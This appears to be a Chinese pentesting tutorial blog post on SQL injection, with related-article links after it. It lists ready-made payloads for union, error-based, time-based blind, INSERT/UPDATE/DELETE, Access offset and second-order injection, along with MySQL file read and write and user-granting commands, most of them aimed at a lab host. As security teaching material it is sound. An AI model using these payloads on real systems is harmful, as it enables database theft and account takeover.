渗透之路基础 -- SQL注入
mysql注入(上)
获取字段数:order by x 去临界值
获取数据库名:database()
获取数据库版本:version()
information_schema : mysql5.0版本以上自带数据库,记录当前mysql下的所有数据库名,表名,列名。
information_schema.tables : 记录表名信息的表
information_schema.columns : 记录列名信息的表
table_name 表名
column_name 列名
schema_tables 数据库名
数据库 "." 代表下一级的意思
limit
有两个参数 limit 2,3
表示从2开始查3条
通过MySql内置数据库获取表名
union select 1,group_concat(table_name),user(),4,5,6,7 from information_schema.tables where table_schema=database()
通过MySql内置数据库获取表名对应的列名
union select 1,group_concat(column_name),user(),4,5,6,7 from information_schema.columns where table_name='users'
mysql注入(中)
数据库用户 user()
操作系统 @@version_compile_os
SQL常用函数
函数名称 | 函数说明 |
---|---|
MID(要截取的字符串,起始位置,结束位置) | 截取字符串 |
CHAR(ASCII) | 返回ASCII码对应的字符 |
ASCII(字符) | 返回字符对应的ASCII码 |
IF(逻辑表达式,返回值1,返回值2) | 用于判断 |
SUBSTR(要截取的字符串,起始位置,结束位置) | 截取字符串 |
LENGTH(字符串) | 返回字符串长度 |
COUNT(列名) | 返回当前列名下有效记录数 |
SLEEP(s) | 静止s秒,数字类型,可自定义 |
#、/**/、-- | 注释符 |
CONCAT(字符串1,字符串2..) | 拼接字符串 |
LOAD_FILE(文件名称) | 加载文件 |
INTO OUTFILE ‘文件名称’ | 输出 |
常用十大报错函数
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
mysql注入文件操作(root权限)
load_file() 文件读取 |select load_file('C:/xx');
添加普通用户
insert into mysql.user(Host,User,Password) values('127.0.0.1','user',passwrod('user'));
CREATE USER 'user'@'%' IDENTIFIED BY 'user';
赋予权限 GRANT ALL ON book.* TO 'user'@'%';
删除用户 drop user 'user'@'%'
root 用户下的读取
user 用户下读取
读取不到文件检查secure_file_priv:
show global variables like '%secure%
修改mysql.ini 文件,在[mysqld] 下加入
secure_file_priv =
重启mysql
into outfile ' ' 写入函数 |select '123' into outfile 'C:/xx';
网站路径获取
1、报错显示 warning
2、谷歌黑客
3、读取配置文件
4、漏洞报错
5、遗留文件
6、字典猜解
注意路径符号及编码
转换工具(小葵多功能转换工具)
mysql注入(下)
防注入,
魔术引号 magic_quotes_gpc
安全函数 addslashes
解决:编码绕过或宽字节注入
高权限跨库注入
条件:root权限
获取所有数据库名
select schema_name from information_schema.schemata
被转义,利用十六进制转换
获取所有表名
table_schema=0x787373('xss')
http://192.168.207.128/test/sqlin.php?x=1 union select user(),2,3,table_name,5,6,7,8 from information_schema.tables where table_schema=0x787373
获取所有列名
table_name=0x6F635F75736572('oc_user')
http://192.168.207.128/test/sqlin.php?x=1 union select user(),2,3,column_name,5,6,7,8 from information_schema.columns where table_name=0x6F635F75736572
获取指定数据
from xss.oc_user
http://192.168.207.128/test/sqlin.php?x=1 union select userName,2,3,userPwd,5,6,7,8 from xss.oc_user
注意点:
跨库查表:库名.表名
提交方式注入
<?php
$a=$_GET['x']; // 接受get请求方式的参数x
$b=$_POST['y']; // 接受post请求方式的参数y
$c=$_COOKIE['z']; // 接受cookie请求方式参数z
echo $a."<hr>";
echo $b."<hr>";
echo $c."<hr>";
?>
POST登录框注入
可以将注入代码写入输入框
COOKIE验证注入
(burp抓包)
HTTP头注入
实际情况下,有部分站点接受数据是以http数据包中的http头部进去的数据接受,所以测试注入需要在头进行注入
例如源码为:
通过burp修改 http 头注入:
参数类型注入
数字,字符,搜索型
数字型:
id = 1
字符:
id = 'admin' //单引号的处理
搜索型:
id like '%admin%'
组合:id = admin%' union select 1,2 '%
参数加解密注入
base64
假设源码:
$id=base64_decode($_GET['x']);
转换之后 1 的base64为 MQ==
加密注入,需要将注入代码通过base64加后注入
1 union select userName,2,3,userPwd,5,6,7,8 from xss.oc_user
# base64加密后
MSB1bmlvbiBzZWxlY3QgdXNlck5hbWUsMiwzLHVzZXJQd2QsNSw2LDcsOCBmcm9tIHhzcy5vY191c2Vy
盲注攻击
普通联合注入和盲注区别
pt:效率高,兼容差
盲注:效率较低,兼容性强
工具采用的基本为盲注
盲注通过if + >或< 二分法提高效率
--基于时间的延迟注入(上)
sleep()
select * from users where user_id=1 and sleep(1);
if(条件,True,False)
mid(str,1,1) 截取
ord 编码(ascii)
length 长度
应用
http://192.168.207.128/test/sqlin.php?x=1 and sleep(if((select database()='dvwa'),0,5))
若没猜对数据库名,则会延迟
--基于时间的延迟注入(下)
猜表名:
length 长度
http://192.168.207.128/test/sqlin.php?x=1 union select 1,2,3,sleep(if(length(table_name)=4,0,5)),5,6,7,8 from
information_schema.tables where table_schema=database() limit 0,1
# limit 分页
mid(str,1,1) 截取
# 表全名称为 users
# mid(str,1,1) 从第一位开始截取一个字符
select mid(table_name,1,1) from information_schema.tables where table_schema=database() limit 1,1;
ord 编码(ascii)
# 结合mid截取出的字符 以ASCII码输出
# 表名 users
select ord(mid(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1;
综合应用
# 用字符验证
union select 1,2,3,sleep(if(mid(table_name,1,1)='a',0,5)) from
information_schema.tables where table_schema=database() limit 0,1
# 用ASCII验证
union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97,0,5)) from
information_schema.tables where table_schema=database() limit 0,1
猜列名类似
--基于布尔逻辑注入
--基于报错提示注入
参考文章https://websec.ca/kb/sql_injection
insert注入
$user=$_GET['u'];
$sql="INSERT INTO users (id,username,password) values (2,'$user','123456')";
Mysql_query($sql);
利用updatexml()获取数据
利用extractvalue()获取数据
利用name_const()获取数据
利用子查询注入获取数据
or updatexml(1,concat(0x7e,(version())),0) or
insert into users (id,username,password) values (2,'admin' or updatexml(1,concat(0x7e,(version())),0) or'','Nervo');
or extractvalue(1,concat(0x7e,database())) or
or (select * from (select(name_const(version(),1)),name_const(version(),1))a) or
update注入
用户注册,密码修改,信息删除
1、sql注入组合拼接,保证sql语句正常运行
2、sql语句中闭合使用(符号或截断)
3、每个不同注入方式和网站应用功能有关
update users set password='nicky' or
updatexml(2,concat(0x7e,(version())),0) or'' where id=2 and username='user';
update users set password='nicky' or
extractvalue(1,concat(0x7e,database())) or'' where id=2 and username='user';
update users set password='nicky' or
(select * from (select(name_const(version(),1)),name_const(version(),1))a) or'' where id=2 and username='user';
delete limit 注入
delete from users where id=2 or update users set password='nicky' or'';
delete from users where id=2 or extractvalue(1,concat(0x7e,database())) or'';
delete from users where id=2 or (select * from (select(name_const(version(),1)),name_const(version(),1))a) or'';
Access 联合及逐字猜解
<%
id=request("id")
sql="select * from product where id="&id
set rs=conn.execute(sql)
%>
1、猜解同mysql
猜不到:
字典收集(社工)
Access 偏移注入
猜解字典工具:明小子Domain
2、access 攻击片段--逐字猜解 // 兼容好
查表:and exists (select * from 表名)
查列:and exists (select 列名 from 表名)
查数据:
1、确定长度
2、确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
工具 啊 D
注入工具
啊D,明小子,穿山甲,萝卜头havij,sqlmap
Access 常见复杂及问题注入
表名,列名无法获取
1、社工,对比网站url
www.xxx.com/pw_news.asp
表名:pw_admin,pw_manage,pw_system
2、列名无法获取
access偏移注入,社工,后台源码中参数名
工具制作原理:
字典爆破,逐字猜解
偏移注入:表名知道即可
1、用 “*” 代替字段,
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 逐个删除,
*
可以看作字段数
* = 6个字符
2 x * = 12字符
22 - 12=10 字符
若在减6个 还是不出现
添加一句:from (admin as a inner join admin as b on a.id=b.id)
(一级注入)
一级偏移
select 1,2,3,4,5,6,7,8,9,10 from (admin as a inner join admin as b on a.id=b.id)
二级偏移
select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
经典二次注入
注册用户,修改密码
修改密码语句基本为,
update users set password='111111' where username='test' and password='123456'
存在二次注入:
test为攻击目标用户
提前注册好 用户名为 test'#
直接修改任意用户
语句为:update users set password='111111' where username='test' #' and password='123'
原理:# 截断,后面语句失效
MSSQL注入点攻击分类
分注入点权限渗透:思路
sa权限
执行命令 文件管理 数据库管理等
拿shell
文件列举及写入
密码获取后台拿shell
执行命令提权
db权限
文件读取 单个数据库管理
密码获取后台拿shell
public权限
单个数据库管理
密码获取后台拿shell
渗透之路基础 -- SQL注入的更多相关文章
- 渗透之路基础 -- SQL进阶(盲注和报错注入)
SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...
- 渗透之路基础 -- XXE注入漏洞
XXE漏洞 XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件, ...
- 【web渗透技术】渗透攻防Web篇-SQL注入攻击初级
[web渗透技术]渗透攻防Web篇-SQL注入攻击初级 前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的S ...
- Web渗透测试入门之SQL注入(上篇)
题记: 本来今天想把白天刷的攻防世界Web进阶的做个总结,结果估计服务器抽疯环境老报错,然后想了下今天用到了SQL注入,文件上传等等,写写心得.相信很多朋友都一直想学好渗透,然后看到各种入门视频,入门 ...
- 实验八 Web基础 SQL注入原理
实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...
- 安全测试基础-SQL注入详解
1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...
- 基础SQL注入
预备知识对mysql数据库有一定了解:对基本的sql语句有所了解:对url编码有了解:空格=‘%20’,单引号=‘%27’,双引号=‘%22’,井号=‘%23’等 基本步骤1. 判断是什么类型注入,有 ...
- 渗透之路基础 -- 跨站脚本攻击XSS
目录 漏洞原理及防御 XSS 原理分析:输出问题导致js代码被识别执行 XSS 技术分类 Cookie盗取 基于Xss的WebShell箱子的攻击 XSS相关防护过滤及绕过分析(参考链接) 防护: 绕 ...
- 渗透之路基础 -- 服务端请求伪造SSRF
简介:SSRF 服务器端请求伪造,有的大型网站在web应用上提供了从其他服务器获取数据的功能.使用户指定的URL web应用获取图片,下载文件,读取文件内容.通常用于控制web进而探测内网服务以及攻击 ...
随机推荐
- 基于tcp协议的登录,文件上传和下载
[1]先登录,登录不成功循环登录,直到成功.登录成功后可以选择上传或者下载,上传有对应的文件,可选择上传哪个:下载有对应的文件,可选择下载哪个 [2]登录,上传,下载时最好设置状态码,客户端和 ...
- 【SVN】SVN使用教程总结
SVN使用教程总结 SVN简介: 为什么要使用SVN? 程序员在编写程序的过程中,每个程序员都会生成很多不同的版本,这就需要程序员有效的管理代码,在需要的时候可以迅速,准确取出相应的版本. Subve ...
- Split函数的使用
Split函数,用来返回一个下标从零开始的一维数组,如下举例说明 1.split(' '),''号中间是空格 def break_words(stuff): """ ...
- 应用性能测试神器 Gatling,你用过吗?
在应用程序上线之前,有多少人做过性能测试? 估计大部分开发者更多地关注功能测试,并且会提供一些单元测试和集成测试的用例.然而,有时候性能漏洞导致的影响比未发现的业务漏洞更严重,因为性能漏洞影响的是整个 ...
- 【iOS】NSString rangeOfString
今天遇到了 NSString 的 rangeOfString 方法,刚遇到的时候不知道什么作用, 网上找到了一篇文章,介绍得挺简洁,代码如下: NSString *str1 = @"can ...
- python多线程详解
目录 python多线程详解 一.线程介绍 什么是线程 为什么要使用多线程 二.线程实现 threading模块 自定义线程 守护线程 主线程等待子线程结束 多线程共享全局变量 互斥锁 递归锁 信号量 ...
- hexo的环境变量被删除怎么办
这篇文章主要讲在path这一环境变量被删除的情况下,补上哪些环境变量才可以使hexo重新使用. 前两天配置opencv的时候,不小心将环境变量中"path"这一项中的内容给覆盖掉了 ...
- git项目版本处理--远程分支重新拉取本地代码如何处理
最近在eclipse 上用git拉取分支,提交代码因为提交代码提交了一些配置文件造成 后续同事提交代码一直出现代码冲突问题 项目老大又重新拉取了一条代码 同样的分支名字 当时有点蒙不知道接着怎么弄:场 ...
- 4. 源码分析---SOFARPC服务端暴露
服务端的示例 我们首先贴上我们的服务端的示例: public static void main(String[] args) { ServerConfig serverConfig = new Ser ...
- 大型系列课程之-七夕告白之旅Electron篇
上一篇分享了一下vbs的撩妹攻略,但细心的兄弟会发现,这种脚本式的攻城方案并不得心应手,有很多妹子害怕是病毒根本不敢点击,而且这个脚本界面风格也不漂亮,不能轻易打动妹子的心,怎么破,小编这次在为各位老 ...